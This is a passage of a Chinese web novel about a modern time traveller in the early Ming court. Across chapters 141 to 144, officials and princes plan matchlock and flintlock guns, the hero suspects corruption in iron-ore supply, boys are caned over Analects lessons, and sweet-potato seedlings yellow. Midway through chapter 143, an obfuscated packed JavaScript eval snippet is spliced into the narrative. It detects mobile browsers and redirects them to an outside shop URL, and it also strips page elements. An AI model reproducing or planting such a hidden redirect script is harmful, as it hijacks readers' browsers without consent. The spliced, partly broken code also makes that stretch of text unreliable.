其实成梁很想说……永乐庄其实他也不是很熟,但是这话总是不好说出口。 他也只能顺着赵集的手指分辨了下。 “回赵大人,这地还是我们的,但是您最好和朱爷说一声,我也不知道他拿着荒地有没有用。” “好,我到时知会他一声,这高炉要是建起来,需要的铁矿石可不少啊,就是不知道城西那矿,供不供的过来了……” 赵集似在碎碎念。 成梁却听了进去……城西的矿?! 第一百四十一章 铁矿石,好像有点问题 在成梁胡思乱想的时候。 朱棣正从田埂那边走来。 今早,几个主事是提前和朱标朱元璋通好气的了,知道在要在这里称呼他为伍燕。 有个机灵的主事,也是怕赵集不知道,匆忙跑到了他身边,耳语了一阵。 这时赵集才看见远处正向这边走来的朱棣。 那是表情要多精彩有多精彩。 这永乐庄什么情况。 按照自己下属的说法,是陛下和太子亲自带他们过来的,还和那朱大人小吵了一架。 而那朱大人居然丝毫不怵陛下和太子,那是态度相当不好…… 在那管事的添油加醋之下。 赵集是倒吸了一口凉气,只觉得这本来只是个九品的朱赞读,好像突然蒙上了一层雾……看不透啊。 再结合眼前的燕王…… 这可是燕王啊…… 怎么跟个泥腿子似的在这田埂里走过来…… 赵集是突然就感觉到了,这永乐庄,确实很不一般, 说不得自己要慎言慎行才行。 另外,绝对不能把那朱安宁当做什么九品赞读了…… 一个敢和陛下和太子杠的人,这是什么九品??? 他虽然是技术型的官僚,但是能做到工部侍郎这个职位,他也不是什么完全没有情商的二愣子。 看着越来越近的朱棣。 他便也没有再管还在思索的成梁。 赵集越过成梁,走了两步,对不远处的朱棣打了声招呼。 “燕爷。”他说完话,接着自然是规矩的行礼。 “嗯?赵大人?你过来管这铁冶了?”朱棣抬头看见是赵集,也没有太过意外,今早纠集的人马大半都是虞衡清吏司,所以由主管虞衡清吏司的赵集过来,并无不妥,他本身也是火器专家。 “嗯,今早太子爷让我过来的。” “有赵大人,那新式火器,看来是能很快就造出来了呀。”朱棣那是咧嘴笑了起来,他是听过朱安宁说火绳枪和燧发枪的具体情况的,那是相当清楚这新式武器的意义:“那你见过朱哥……呃,就是朱安宁了吧。” “燕爷说的是朱赞读朱大人吧。”赵集还是微微弯着身子。 “嗯,就是他,这儿是他的地盘,反正你们听他的就行。”朱棣点了点头。 他其实才是这铁冶的始作俑者。 但是他也只是想要新火器而已,你让他真的参与去造……他还真没这个能力,他现年不过二十点,能搞懂火器的制作流程,已经算是有心。 所以他这番话也是说得实在。 赵集也是知道朱棣表达的意思。 “那朱赞读,确实对火器铁冶都非常有研究,几张图纸,就值得我们工部钻研好些日子了啊……” “那赵大人,你预计多久才能造出这新式火器呢?” “这实在是不好说啊,高炉需要改,朱大人又告诉了我新式鼓风箱的图纸,最重要的是,按照图纸所说,鸟铳的枪管,少说得一个月才能制成……” 赵集像是作报告似地,开始叨叨絮絮地说着。 这就彰显了他三品大员该有的实力了…… 上面交代的任务,如果不是超级紧急……绝对不要出确切的日期……以免做不出来挨罚。 朱棣从那田里一路走来,本就热了个半死,他根本就没有多少心思在这里和赵集打官腔。 但是赵集话语里面,却出现了个让他不得不提起精神的关键词。 “鸟铳?” 他突然就来了精神,连忙对赵集质问道:“鸟铳,火绳枪?” 这下可是把赵集给问懵了。 有问题? “燕爷……我们来此地,不就是为了造鸟铳么?” 他小心翼翼地咬好了每一个字的发音,生怕说错话。 朱棣的脸一下就垮了下来。 搞什么啊,整了半天,朱哥只给这赵集说了鸟铳,也就是火绳枪的事情,那燧发枪呢? 这才是重点吧。 难道说真的就是造不出来? 不可能,若是造不出来的东西,朱哥又怎么会说呢。 朱棣立马摆了摆手,他不想再和赵集扯皮,而是想进到院子里,问一下朱安宁具体的情况。 “燕爷?” 看着突然迈动了脚步的朱棣,赵集也是莫名其妙地唤了句。 “啊,我又是要问朱哥……嗯,算了你也进来吧。” 燧发枪的事情,朱棣是铁了心要搞的,其实这也是朱元璋和朱标的想法。 赵集看着朱棣风风火火的样子,连忙应了声跟上。 待到两人走到门口时,恰好又遇见了成梁刚走进院子里。 门,还未关上。 两人也连忙跟着走了进去。 然后,看见的是一脸铁青的朱安宁,和刘廌…… * 在几人进入院子之前,朱安宁和刘廌,早就回到了这里。 “胡修道,柳文,你们两需要知道,这次学这个论语啊,挣的就是咱们庄子的脸面!” 朱安宁坐在自己院子树下,喝了口茶。 将事情的来龙去脉,告诉了两人。 这少年的情绪就是最容易调动。 一听到这叫方孝孺的鸟人居然敢看不起他们永乐庄职业技术学校,那是义愤填膺,咬牙切齿,巴不得自己在现场,就给那方孝孺砰砰两拳的那种。。 “朱爷,那方孝孺也是忒脑残了吧,没有咱们学种田,谁给他饭吃……屎他都吃不上热乎的!” 胡修道的话语过度接地气。 让刘廌和朱安宁都笑了起来。 但是他们还是尽快敛去了笑脸……为人师表……怎么可以这么粗呢! “诶……小胡,现在你们两是要学论语的文化人了,别动不动就屎尿屁的,影响不好……知道了么!” 朱安宁锐评了一下胡修道的脏话,示意少说。 而胡修道和柳文却一副满不在乎的样子。 看两人这副模样,朱安宁也没有多说。 只是示意刘廌可以开始了。 反正这活能有人承担的话,他也乐得清闲。 刘廌他知道这份注解是颠覆性的。 因为它太通俗易懂了,就像要老太太都能学会论语那般,零零总总把前后的故事都说得清清楚楚,还是大白话那种。 所以当最开始在院子里坐下的时候,他是很自信的。 堂堂刘伯温的孙子,自己也是满腹经纶,现在手拿隐士大儒的注解,这怎么输? 然后,很快他就破防了。 倒不是胡休道和柳文蠢,而是这两人,注意力也就只能集中一小会。 还有个大问题就是,他们字认不全…… 这必须要刘廌一点一点讲给他们听。 而刘廌一旦抑扬顿挫起来,两个少年就会开始不断开合眼睛…… 甚至于,后面胡修道还发出了呼噜声。 这刘廌哪受得了…… 那是直接就想抽根树枝出来了。 而一边的朱安宁,也是脸有点绿。 他本来也是信心满满,但是他却忘记了一件最重要的事情。 这两小子是没有动力的…… 平时他们在学堂上文化课,顶了天也就是一小会,而现在按时辰这种长度,来给两个从小就野惯了的孩子上论语。 确实是有点想不开。 刘廌为难地看了一眼朱安宁,同时也是有些尴尬。 刚才还打包票说让他来教,结果刚开始就把学生给讲睡着了…… 正当两人大眼瞪小眼的时候,院门口传来了叫喊声。 是几人推开门走了进来。 朱棣,赵集和成梁,抬起头,就看见了一群人在院中。 三人都同时露出了疑惑的表情。 特别是,他们看到站着的朱安宁和刘廌都是脸色铁青的样子。 而那坐下的两个小孩……似乎在睡觉…… 赵集则多扫了一眼,然后他轻轻地吸了口气。 诚意伯的孙子……怎么也在这里。 不行,这永乐庄真的太迷了。 赵集是对朱安宁又多了几丝猜想…… “朱哥……你们在干嘛。”过了半晌,是朱棣在发问。 “教论语……”而等了好一会,朱安宁才挤出了这三个字。 主要是过于滑稽。 说是在教论语,但是学生……在睡觉。 朱棣看了两眼便知道发生了什么事情,那是嘿嘿就笑了起来。 本来想来质问燧发枪的事情的,但是现在这场景也太滑稽了吧。 “这两小子学论语?朱哥你就是看他们年纪大点想着好教是吧……” “不然呢?”朱安宁是一阵无语,他哪能想到一对二上课都能把人上睡着。 虽然刘廌巴拉巴拉的东西不算特别有趣,但是还是能听的吧。 怎么也不至于说直接就睡了才对…… 看见两人无语的样子。 朱棣摇了摇头,撸起了自己的衣裳, “你想干嘛?”朱安宁有点不好的预感。 但是朱棣 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软树枝也就只能抽出点红印,但是当下肯定是痛的。 胡修道本来还想反抗,但是一看身边这围了一圈人,那是直接就抱头蹲防。 而没睡醒的柳文,则是没忍住叫骂了几声…… 然后,他便被抽多了几下。 “行了行了行了……小燕,他们醒了就行。”看着在那嚎个不停的两个少年能醒来,朱安宁也是连忙叫停。 虽然很好笑……他还想继续看……咳咳,但是教学要紧,赶紧继续要紧。 “唉哟,季先生……朱爷,燕爷……唉哟。”两人知道是自己犯了错,也没敢再嘴硬,只能可怜兮兮地哎呦了几声,想博取同情。 而朱安宁又不是没见过世面的人,自然是看出了两人都在装可怜。 “别叫啦,不想挨揍,就好好听你们季先生讲!” 他撂了句狠话,也终于得空去院门口迎人。 成梁和赵集都已经站在门口许久。 但是看朱安宁朱棣他们在忙……揍人。 两人自然也不会说不识趣地凑过去。 现在看朱安宁终于得闲了。 两人才行了个礼,打招呼。 “赵大人,是有什么事么?” 成梁是他朱安宁的人,他的事可以先放一放,这赵集可是大员,所以朱安宁自然是先开口问他。 “是燕……是伍燕他拉我进来的,说是鸟铳的事情……” 赵集指了指还拿着树枝在那恐吓胡修道和柳文的朱棣。 而朱棣,也是看到了朱安宁正在过去和赵集攀谈,也就把树枝递给了刘廌,拍了拍他的肩膀说道:“小廌,书中虽然有黄金屋,但是书外,还是这个好使,你信我。” 在胡修道和柳文不甘的目光中,刘廌笑着接过了那树枝。 而得以抽身的朱棣,则是走向了朱安宁他们几个。 成梁还在这里。 朱棣还犹豫了一瞬,不过很快他就想到,这成梁迟早是要帮忙这些事情的,既然是大哥指派的人,应该信得过。 他便直接开口向朱安宁问道:“朱哥,为什么不和赵大人说燧发枪的事情!” 果然来了。 朱安宁是一个头两个大。 如果有棍子的话,他现在是真想抽这伍燕。 “不要再燧发枪了,上午我不是说了么,没材料啊,我拿头去造啊……” 话题回到火器上,赵集的眼睛那是立马又亮了起来。 “材料?是需要精铁?还是说其他……” “需要比精铁更有韧性的钢材,弯曲能有足够的力道击打燧石,打出火星,而后复原,起码承受百次以上。” 朱安宁无语地把弹簧钢的特性告诉了赵集。 “有了朱赞读你改的高炉风箱,再加我城西的优质铁矿石,都造不出来?” “一半一半吧,耗时耗力啊!” 朱安宁哪敢把话说满,这燧发枪要发明,还得两百年啊…… 而成梁,先是惊讶于,这群人居然就这样自己面前聊起这些事情来了…… 是否意味着自己已经得到了众人的信任? 只是这份喜悦没有持续太久。 很快,他又听到了,熟悉的,城西铁矿石。 他不免,有些……生出了,想单独找朱安宁聊聊的想法…… 第一百四十二章 不义而富且贵,于我如浮云 院子里。 朱棣,正在向赵集介绍燧发枪。 或者说燧发枪和鸟铳他都在介绍。 赵集今天是第一次听见鸟铳,他已经觉得真是叹为观止。 哪知道还有燧发枪这种神物。 当他听到朱棣说到燧发枪可以自生火,用燧石来代替火绳这一结构时…… 那表情是要多精彩有多精彩。 只见老赵也没管这里还有一堆人,他一拳锤到墙上。 比早上的朱元璋等人还要激动。 “造燧发枪!!!”他低喝了一声。 那是让朱安宁的脸都黑了下来。 明朝的人,是不是真就有燧发枪执念,每个听到这枪的人,都说要造…… 感情自己能用手搓一把出来是吧! 而朱棣看到赵集的表情,也是觉得这老赵会不会过于激动,连忙做了个下压的动作,示意小声些。 毕竟院子里面还有一个先生和两个读书郎,外加一个一直旁听的朱家管事。 “赵大人,火绳枪……或者说鸟铳,也是好东西,总归是比我们的火铳要厉害的,特别是范围,要比咱们的火枪大得多。”朱棣缓缓开口,他不想否认火绳枪,因为从朱安宁的语气来看,他也知道燧发枪一定不好造。 所以先用火绳枪过渡,再尝试造燧发枪,应该才是最好的方案。 听到朱棣并没像早上那样,不管不顾说就是要燧发枪。 所以,朱安宁也终于是松了口气。 “鸟铳定然是比现在咱们用的火枪要好的,现在火枪撑死五十步,鸟铳保守可以去到一百步,火绳点火的方式实际比点火快不了多少,但是依旧还是要便利些……只是缺点也不是没有……”他顿了顿,刚下继续说下去。 朱棣却接过了话。 “和现在的火枪一样,容易受潮,无法点火对吧。而且在战场上,环境多变,有些时候是不方便点着火绳的,比如伏击的时候。” 他寥寥几句话,就说出了火绳枪的缺点,这倒是让朱安宁有些意外。 “嗯?小燕你真是懂行啊……” 朱棣准确地说出了鸟铳的缺点。 是让朱安宁刮目相看,平时看着是个莽夫,一到打打杀杀,他还是有点说法的。 会不会,这伍燕,真的是打仗的天才啊? 朱安宁满头问号,但是却又不好打断两人的对话。 其实一个地主家儿子,和一个三品大员在这里谈笑风生,是很奇怪的。 朱安宁思来想去,也只能认为是伍文实在是牛逼,影响力巨大啊……自家弟弟都能和三品大员说话了,两人好像还挺熟的样子…… 还是说那伍爷……家境真的不一般! 朱安宁猛地开始觉得不对劲起来。 这伍家……似乎是能量过于庞大了…… 之前帮忙办事都还在正常范畴,但是这直接给自己把工部的虞衡清吏司连带一票官吏都给运来了…… 麻的,不会是什么朝廷高官扮猪吃老虎来诳自己吧! 一想到这个可能性,朱安宁的脸有点绿。 他拼命开始想,这明初有哪个高官是自己是朝廷命官,儿子在东宫的。 结果思来想去,就想起个宋家…… 但是宋濂都告老还乡了,宋慎他也见过…… 而且老伍头姓伍啊! 想了老半天,一无所获,但是他已经打定了主意,下次这老伍头过来,坚决不能再随便键政了。 多少后背有点湿。 明朝的人,不真诚啊! 可恶…… 而朱棣哪能知道他就是和赵集聊了一会,顺便发表了一些军事运用上的见解,就能让朱安宁脑补出那么多东西。 两人还是在那说着火绳枪燧发枪的事情。 “而燧发枪就没有这个缺点了,所以再难,也要把这枪造出来,鸟铳和燧发枪并用!” 朱棣眼睛闪过一丝精光。 藩王是有军权的。 他隐隐有些热血沸腾,霍去病可以封狼居胥,自己朱棣怎么就不行了?驻守要塞?可以的话,他更想主动出击! 赵集也是知道朱棣在激动什么。 或者说,其实他比朱棣更激动。 他在这永乐庄都快激动一天了,激动麻了属于是。 “这鸟铳装备一般军士,燧发枪装备给骑兵……”赵集想了想这个场景,只觉得大明应该会赢麻。 不过朱棣很快就给赵集泼了盆冷水,他开始说燧发枪的一些要点,必须弹簧钢,必须燧石击发的机构…… 正当朱安宁准备点头插嘴的时候。 一边听了许久的成梁,却突然拉了拉朱安宁。 朱棣和赵集此时讨论得正欢。 满脑袋都是鸟铳,燧发枪,打他娘的一仗之类的想法,哪还顾得上朱安宁和成梁。 两人便后退了一步。 朱安宁自然是有些疑惑。 但是很快,他的疑惑,就转化成了震惊。 因为,成梁,在他耳边耳语道。 “朱爷,那城西的铁矿石用不得,我听说他们把品相好的运走去卖了,用了一些品相不好的铁矿石抵给了工部… …您应该懂什么意思吧。” 懂…… 当然懂。 这操作哪个朝代哪个年代都有。 但是这踏马是明初啊! 怎么才刚建立朝代就这个鸟样了啊。 朱安宁皱起了眉头,却也是忽然想起了一桩明初的大案。 “不会是郭桓案吧!”他轻声惊呼。 但是很快又闭了嘴。 成梁本来以为朱安宁会说什么,结果就说了什么郭桓,然后又闭了嘴,他也知道此时不能追问,便又是低着头,默默靠到了旁边。 此时的朱安宁脸色那是阴晴不定了起来。 不对……不对不对不对……他记得郭桓案是因为粮食问题,而不是什么铁矿石。 但是,官僚们什么德性……这都不用猜,粮食敢动手,矿石就不敢了? 他深吸了一口气。 想起了郭桓案应该是明初洪武十八年,现在还没爆发。 但是贪污这种东西,定然是一步一步渗透的……郭桓案的贪官,就不能是现在的贪官了么…… 他忽然觉得自己的穿越生活陡然拐向了不一样的方向。 这郭桓案,没有胡惟庸案蓝玉案,那么有名。 胡惟庸案蓝玉案总归还是带上了那么点阴谋论的气息。 是的也都是些名人,还对后世产生了巨大的影响,所以影视剧是常常浓墨重彩地描绘这些案子。 古往今来,人还是人,古人今人都爱听这些戏剧性的东西,这无可厚非。 而郭桓案就很朴实无华了,官员贪污,亏空国库,开查,六部都有牵连,老朱毛了,全砍了,连带着富人也砍了一堆…… 这案子的砍头数,其实应该是远超胡惟庸案和蓝玉案的。 自己……好像,有点卷到这事情里了啊。 一念至此,朱安宁又是一口凉气。 然后哭笑不得起来,娘的,不会是才当了个九品官,就要被波及拉去剥皮实草了吧。 看着朱安宁的表情变化,成梁悄声补了一句:“朱爷,这事咱们可不好管,那赵大人似乎是工部大员,要不和他透透气?若是一直用的都是低质的铁矿石,怕不是工部库房里的兵器,都会有点问题……” 他提了个很有建设性的意见。 意思再明显不过,只要检查下库房的刀剑,试上一试,就能知晓。 但是朱安宁却觉得有些不妥。 事情来龙去脉一点都不清楚,就凭他们一张嘴说……万一万一那些贪官污吏提前收到了消息,自己不就惹了一身骚? 不可行。 所以他摇了摇头。 见朱安宁做了决定,成梁也是闭上了嘴巴。 不远处的赵集和朱棣终于也是把那燧发枪难造的点捋了一遍。 也是发现了朱安宁和成梁居然在一边说悄悄话。 “朱大人,方才已经听燕……燕爷说了些燧发枪的情况……这枪是真不好造啊……” 赵集叹了口气。 朱安宁还在想郭桓案的情况,便也是敷衍了两句。 “嗯,比鸟铳难造多了。” “但是……” “但是?” “难造,也还是要试一试,至少试了,才知道具体的难点在哪里,在试着慢慢改进!”赵集这种理工男,真就是越有挑战他就越兴奋。 朱安宁却忍不住翻了个白眼。 现在最重要的反而不是难点在哪里了。 要是按照成梁的说法,他们就算是严格按照先进工艺,克服一切难点去制造,出来的枪也大概率要炸膛啊! 劣质铁矿石 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朱安宁知道自己的说法是有些站不住脚的,但是也没办法,只能硬着头皮解释道。 “工部这批刀剑定然都是用最好的铁矿铸造的,用来造第一批火枪,正合适啊。赵大人,你放心,只需要极少的刀剑就行,毕竟我们只是试炼。我们这造出来的火器,是需要给到太子和陛下展示的啊。” 他学着电视剧的样子,对应天府的方 向拜了拜,仿佛就是在给朱元璋和朱标行礼那般。 赵集的眉头,舒展了些许。 虽然说法有点奇怪,但是朱安宁的话语还是站得住脚的。 他便也是点了点头。 作为工部大员,和上面只会一声用途,记录在册,他挪一些刀剑出来,难度不大。 “好,那就依朱大人的意见吧。” “但是广东的矿,我也希望能早日运达呀,毕竟听闻那边的矿更优质,我也不想试做的火器出什么意外,呵呵。” 他笑了笑,人畜无害。 朱棣和赵集都没有意见。 这事就此定了下来。 朱安宁也终于得以松一口气。 他提出用刀剑熔铁出来复用,就是为了对比广东矿的质量。 也算是固定证据。 他就怕那些贪官听到消息后,又把供过来的矿,换成好矿,那这贪腐一事,就会被拖到1385年,随着郭桓案的发生而爆发。 作为XX优秀,接班人,讨厌贪官是本能。 更不用说连铁矿都贪的人渣。 明中后就是这批人渣祸祸了原材料,导致就算有赵士桢这种逆天工程师出现,都无力回天。 理念是先进的,技术是高端的,材料是渣渣的,开枪是炸膛的,士兵是嫌弃的,五大三粗能当近战武器抡的才是他们中意的。 这不就扯淡了么。 一想到这些破事,他就恨不得立马让老朱砍死这群什么都敢贪的鸟人。 到时造出两批不同的火器,试上一试就知道质量如何,鸟铳的弹丸初动能是要远超火门枪的,如果枪管劣质,开不了几枪,必炸,这跟工艺无关,你铁矿垃圾,我工艺再高,也救不了多少啊。 把思绪捋清楚的朱安宁,重新抬起了脑袋,瞄了眼赵集。 然后目送朱棣和赵集两人去到院外。 他们正准备看这铁冶营造的进度。 一想到火绳枪和燧发枪,这两人就澎湃不已,真是巴不得马上能开炉。 而只有朱安宁知道。 枪,是会死人的。 死一些贪官,那这些未来会炸膛的枪,一定也是善良之枪吧! 他刚咧嘴笑起来。 身后却传来了刘廌有些生疏的叫骂。 “睡……课堂睡觉,不好不好。” 骂是生疏的,嚎叫却很是熟练。 “唉哟……先生轻点轻点,这是肉这是肉,不是木头……” 挨了打的胡修道和柳文,是一脸痛苦地撑起了脑袋。 继续跟读刘廌教的论语。 “不义而富且贵,于我如浮云!” 两人念得很是大声。 “嗯?我给的论语有这段???哎,不过还挺应景的嘛……” 朱安宁砸吧了下嘴巴,笑了起来。 第一百四十三章 地里的苗,黄了啊…… 铁冶营造,需要时日。 朱棣和赵集就这么自然地混到了一起,天天在那忙活。 朱安宁也看出了这伍燕大概也是得到了他哥或者他老爹的授意之类的,也懒得管他。 反正庄里的农田,大部分事情都已经处理得差不多,便也随他去了。 还有伍周顶着嘛。 这些日子,院子里尽是胡修道和柳文的哀嚎声。 刘廌揍他们是越来越熟练。 什么圣贤之道,都没有他顺道折的树枝好使,这才是道! 小廌同志终于是悟道了。 “弟……你且轻点,我听着都疼。” 是刘磊,他正夹着朱安宁给他整理的资料,准备去学堂那。 走过胡修道和柳文念书的角落,那是有点于心不忍。 “哥,你是不知道,他两学得有多快!识字也比学堂那些孩童要多上许多。” 结果刘廌却是兴奋地挥了挥树枝,对刘磊回道。 这下也是把刘磊给噎住了。 确实,他弟弟的棍棒教育之下这胡修道和柳文,要比他大班教学的那批人强得多,这是毋庸置疑的。 但是这两娃天天鬼哭狼嚎……也忒惨些了吧…… 其实也就是胡修道和柳文叫得大声而已,刘廌又不是什么穷凶恶极之人,大多数也只是恐吓,只有胡修道和柳文打瞌睡的时候才会真的下手。 刘磊看了三人一眼,也是无奈的摇了摇头,离开了院子。 “朱先生说过的,你们这苦不是白吃的,过些日子,你们若是能通过朱先生的考校,他应允了会给你们家多一块田!” “知道了知道了,廌先生,这话我们都听出老茧了……” “那要不要地嘛……” “要要要!” “那你们说说,学而不思则罔什么意思……” 刘廌的提问声,还有胡修道柳文的答题声,开始在院子里回响。 而还在车里困顿的朱安宁,自然也是听到了他们的对话。 他揉了揉眼睛,看了眼电脑屏幕,总算是把这高炉,炼铁,材料的事情理了个七七八八,确定不会出什么大纰漏。 至于那燧发枪的图纸,也就是之前那张,再详细的他也掏不出来了。 倒是火绳枪的,他能掏出不少。 天工开物里面一堆啊…… 这也是他为什么更愿意先造火绳枪的缘故。 大跃进不可取不可取…… 试验品倒是可以先搞一搞。 一念至此,他也是想着出去缓缓算了。 他的宝贝田,已经好久没有巡一下了,这也是大事。 于是朱安宁越过了读书三人组,来到了院里的实验田附近。 他虽然是农学生,但是又不是什么高级农业人才,撑死就是个有点学识的本科狗而已,所以他也不太清楚这些番薯土豆作物的具体品种。 这第一茬作物,他也是想着摸索一下再说。 田里,李景隆在那人工除杂。 近期,九江同志的心理压力极大。 因为他发现田里最重要的那一片番薯苗,居然有几株开始有点长不动的感觉,叶片也微微发黄。 这可把他吓坏了,施肥他是跟朱安宁学过的,也不敢多浇,万一整出什么烧苗事件,不说朱安宁,洪武爷说不定都要过来把他绑起来烧。 所以想来想去,他只能想是不是杂草害的…… 那是一刻也不敢闲,就蹲在那里天天侍弄田地,就想看能不能挽回这几株番薯苗的颓势…… 结果不拔草还好。 昨天拔了,今天过来一看,李九江是差点晕厥过去。 今天微微发黄的番薯苗更多了!!! 所以,他战战兢兢地在那开始思考,要不要告诉先生一声…… 让他救一救。 但是该怎么交代自己的罪过呢。 完犊子了,前些日子老爹还叫自己好好努力。 结果现在整了这事…… 李景隆在挨揍和挨砍之间,开始了摇摆。 完了还没摆多久。 他看到了朱安宁正向他走来。 那是心跳一百四,拔腿就想跑……脸直接就变得比那些番薯苗还要绿。 这朱先生不是爱睡懒觉么……怎么今儿这么早起。 要命啊…… 李景隆是在心里止不住地哀嚎,看了四周一眼,除了爬墙,他好像也没地方跑了啊。 结果又犹豫了片刻。 朱安宁已经走到了眼前。 “三江……你怎么了,没吃早点?怎么脸一阵白一阵绿……”打着哈欠的朱安宁看了眼李景隆那发虚的样子,也是有点好奇,便关心道。 这一声问候,那是彻底带崩了李景隆的心理防线。 他哗啦一声,就跪到了泥地了。 速度之快,是把朱安宁吓了个踉跄。 “我丢你个三江……什么情况……”他慌张地后退了两步。 却没想到李景隆一下就黏了上来,抱住了朱安宁的大腿,一把鼻涕一把眼泪。 大清早的。 朱安宁的san值本来就没多少。 这一 抱,那是差点让他理智归零。 只是走又走不动,李景隆挂在那里,重得要死。 他差点就叫出声来。 说差点,是因为,李景隆比他叫得早,也叫得凄厉。 “先生啊!那番薯叶片不知怎么就黄了啊……我天天浇水施肥,除草抓虫,那是一天也不敢懈怠啊!怎么就黄了啊,昨天黄了几株而已,怎么今天就黄了一片啊……我们不会被杀头吧,呜呜呜……” 这几声叫喊,混杂着哭腔。 那是让朱安宁听得无比难受,毕竟他的理智也所剩不多…… 而这么大的阵仗,自然是也引起了读书三人组的注意。 特别是胡修道,他跑得那叫一个快,连刘廌丢出去的树枝都没追上。 柳文自然也不甘落后。 两人是第一时间凑了过去。 他们在这院子里已经好几日了,这田当然也瞒不过他们。 所以朱安宁等人也就是告诉了他们,说这是朱爷从别的地方挪过来的宝贝作物,让他们不要乱动就行。 越是不让他们乱动,他们就越是好奇。 只是每天这院子里都有大人,他们也不敢造次,今儿终于有点乐子了,他们还不赶紧冲上来。 刘廌是拦都拦不住,便也是只能丢树枝去砸人,然后……自己也是跟了上来。 他也是年轻人……哪能不好奇嘛…… 结果三人绕过院中的那棵树,来到田边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378747|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看到的就是李景隆在那抱着朱安宁的腿一把鼻涕一把眼泪,而朱爷则是一副受惊过度的样子。 喊出救驾救驾都毫不违和的那种…… “三江,你有话好好说,什么苗黄了?你是不是下多了肥料!这东西不能多下的!” 不知道什么时候找回些智商的朱安宁终于开始回话。 当然,尝试把自己腿抽出来这件事,他是没有停过的。 “没有啊,先生真没有啊!您是教过我们的,还试过给我们看,我又不是白痴!!!呜呜呜,这苗它就是突然黄了啊,我也不知道怎么回事……呜呜呜。” “行行行,有话好好说,你先放开我,你看……你看胡修道他们都在旁边,你别那么丢份……” 朱安宁也是扭头就看到了围观三人组,那是哭笑不得。 真吉尔丢人…… 李景隆一听还有别人,那也是立马就松了松手,只是跪在泥地上,一时也起不来。 趁那松手的功夫,朱安宁是立马抽了身。 他也知道李景隆为什么如此紧张崩溃。 都是读过书的人。 又不是方孝孺那种杠精。 大家都知道这些新作物对大明来说代表什么。 那是未来啊! 朱安宁的心跳也突突突起来。 马德,不是染了什么病吧…… 这实验田可太重要了,不能出问题啊。 他也是没继续管跌坐在地里的李景隆和不远处的吃瓜三人组。 连忙蹲到了地里开始检查。 土壤没有结块! 苗也没有发蔫! 他都快趴到地上了,仔细看了看那些发黄的植株,确定了叶片没有斑。 排除掉这些常见的不利因素。 那会不会是…… 朱安宁从地上猛地跳了起来。 疯了似地开始跑到其它植株旁,又蹲了下去检查了一番。 然后大喊。 “三江!!!这几株是不是最近没怎么长了?” “呜呜呜……啊?” “啊你个头啊!快,你伺候这些田最久,你应当是知道的。” 朱安宁喊得急。 李景隆只能哭丧着脸挪了过去,辨别了下位置。 战战兢兢地回道。 “这几株本来是长得最好最快的啊,近几日确实好像长得不如别的,还直接黄了!呜……” 他刚想开口嚎两句。 却被朱安宁轻踹了一脚,立马就把那声嚎吞到了肚子里。 “别在这哭丧!”虽然是在骂,但是,朱安宁又很快哈哈大笑了起来:“哈哈哈!三江啊三江……那个,胡修道,柳文,你两腿脚利索,立马给我把田里的小周,外面的小燕,还有那学堂里的阿磊给我叫回来,快,要快!!!” 他大喝了一声。 虽然院子里的人都莫名其妙。 但是收到命令的胡修道和柳文,却是下意识地应了句。 “诶……” 两人是撒腿就跑了起来。 留下的是,笑的合不拢嘴的朱安宁,和一脸懵的刘廌和李景隆。 PS:天天骂我短小,还用养书威胁我,呜呜呜……我更两章六千嘛……好不好,呜呜呜……新人写书是这个叼样的了,大家且看且看…… 第一百四十四章 不合格的旧兵器,要好好处理掉哦 就算不是香港记者,胡修道和柳文仗着自己年少,就是跑得快。 不一会,各样装束的人,就陆续回到了院子里。 而出乎朱安宁意料的是,赵集也跟了进来。 不过这不影响大局,这些天下来,朱安宁已经摸清了赵集的脾气,和探清了他和朱棣的口风。 问法很简单,逮着机会他就问赵集,你怎么看伍燕的大哥啊。 那赵集是立马肃然起敬……问怎么看太子?能怎么看? 这还了得,那伍文必然是大人物啊。 至于赵集是不是贪官这个问题。 朱安宁算是看出来了,这赵集就是纯技术流。 驭下的方式也是理工式地讲逻辑,就连他那几个下属官吏,都是差不多如此。 你说这种性格贪污的可能性不是没有。 但是……确实也不高。 况且看那赵集兴冲冲地把一堆他怀疑的劣质兵器堆到自己面前,说放哪里好的时候…… 朱安宁是直接就绷不住了。 不可能,绝对不可能…… 所以现在朱棣把这赵集带进来,他倒也是无所谓了,到时和他好好解释就是,然后再让伍文和他再说一遍,省得坏事就行。 几人都集中到了田地边上,就等朱安宁发话了。 朱安宁则还是在检查作物。 直到再次确认无疑后,他才起身。 然后一个眼色递给了刘廌。 刘廌立马心领神会,开口对后面说道。 “胡修道,柳文,你两去院外休息一下吧,一会再上课。” 嗯?这么无情无义?自己两人跑腿没有有功劳也有苦劳,现在连看个热闹的机会都不给? 两人,特别是胡修道正想据理力争,说些牢骚话的时候。 朱棣已经不耐烦地亮了亮刚才随手捡的树枝:“出去,顺便关门。” 语言上的威慑向来不如物理的道理。 所以朱棣的树枝真的相当有用。 两人就这样麻利地退了出去,把门关上。 至于门外的什么提裤子无情之类的粗鄙叫骂声,院内的人也是权当没听到。 朱安宁看着一众人,是轻咳了两声。 除了赵集,几个都紧张了起来。 因为大家是看到了朱安宁脚边的植株是什么情况的。 怎么黄了…… 虽然不蔫,但是这颜色有点不对劲啊。 几人不约而同地看向了李景隆,毕竟一直以来,都是他照顾得最多。 这让他脸刷地白了起来。 腿一软又想和大地亲密接触。 而在这件事情发生之前,朱安宁开口了。 是笑着开口的。 “番薯茎叶退化期到了!” 朱安宁大声说道。 “啊?” 而发出疑问的是赵集。 本来他站在这里就一脸蒙蔽。 他只觉得一群人围着朱安宁又不说话,就很莫名其妙。 而且这院子里的作物,他不是没看过。 只是说,别人院子里的东西,他也不好问,他哪能知道这是将要改变明朝的重要作物! 其实不止是赵集,其它几人也是有点懵。 除了朱橚。 他也是兴奋地蹲了下去,根本不管身后的懵逼人群。 兴奋的他,甚至还把朱安宁给挤了开来。 朱安宁也不恼,他知道这群人里面,就朱橚对植物最熟悉,各种东西也背得多。 其实这番薯茎叶退化期,他是讲过给这群人听的。 